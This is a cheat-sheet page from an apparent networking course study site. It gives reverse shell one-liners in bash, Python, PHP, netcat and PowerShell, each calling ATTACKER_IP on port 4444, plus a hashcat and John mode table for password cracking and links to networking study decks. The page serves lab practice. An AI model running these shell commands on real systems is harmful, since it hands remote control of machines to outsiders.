Cheat Sheet Library
Condensed reference notes and full networking study decks. Use them alongside the labs and workbooks for quick lookups during practice.
Reverse Shell One-Liners
Set up a listener first: nc -lvnp 4444
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Netcat (with -e)
nc ATTACKER_IP 4444 -e /bin/bash
# Netcat (without -e, pipe trick)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
# PowerShell (Windows)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Upgrade shell to fully interactive TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xtermHash Types & Hashcat Modes
Identify the format, then feed hashcat -m <mode>.
| Hash Type | Example | Hashcat -m | John Format |
|---|---|---|---|
| MD5 | 5f4dcc3b5aa765d61d8327deb882cf99 | 0 | raw-md5 |
| SHA-1 | 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 | 100 | raw-sha1 |
| SHA-256 | 5e884898da28047151d0e56f8… | 1400 | raw-sha256 |
| SHA-512 | b109f3bbbc244eb82441917… | 1700 | raw-sha512 |
| NTLM | 31d6cfe0d16ae931b73c59d7e0c089c0 | 1000 | nt |
| MD5crypt ($1$) | $1$salt$hash | 500 | md5crypt |
| SHA-256crypt ($5$) | $5$salt$hash | 7400 | sha256crypt |
| SHA-512crypt ($6$) | $6$salt$hash | 1800 | sha512crypt |
| bcrypt ($2a$) | $2a$12$… | 3200 | bcrypt |
| MySQL4 | *hash | 300 | mysql |
Networking Study Decks
Six chapter decks plus two full guides covering NSSA-241 networking from zero. Each opens in its own reader — interactive slide + notebook decks with worked examples, diagrams, and matching Kali labs.
These are self-contained documents with their own layout and slides⇄notebook view switcher, kept exactly as authored and opened in a new tab.
Ch.1 · Data Communications & Networking
Bandwidth, latency, protocols, standards bodies, and network types. Slides + Kali labs.
Open deck ↗Ch.2 · Network Models, Addressing & Wireshark
OSI vs TCP/IP, encapsulation, MAC vs IP addressing, Wireshark basics. Slides + Kali labs.
Open deck ↗Ch.3 · The Link Layer, Ethernet & ARP
Frames, error detection, CSMA/CD, Ethernet, ARP, and the golden rule: IP end-to-end, MAC hop-to-hop.
Open deck ↗Ch.4 · The Network Layer (IP)
IPv4 header fields, TTL, fragmentation, subnet masks, address classes, and private ranges.
Open deck ↗Ch.5 · ICMP & NAT
ICMP messages, ping, traceroute, private RFC 1918 networks, static/dynamic NAT, and PAT.
Open deck ↗Ch.6 · Subnetting
Borrowing bits, the magic-number recipe, FLSM vs VLSM, CIDR. Worked examples with ipcalc labs.
Open deck ↗NSSA-241 Field Guide
Complete networking-from-zero reference: number systems, OSI/TCP-IP, Ethernet, IPv4, subnetting/VLSM, ICMP, routing, IPv6, NAT, DNS/DHCP — plus practice Q&A for every layer.
Open guide ↗NSSA-241 Feynman Notebook
The whole course explained in plain words — no jargon left unexplained. Same syllabus as the Field Guide, taught with everyday pictures so you can teach it back yourself.
Open guide ↗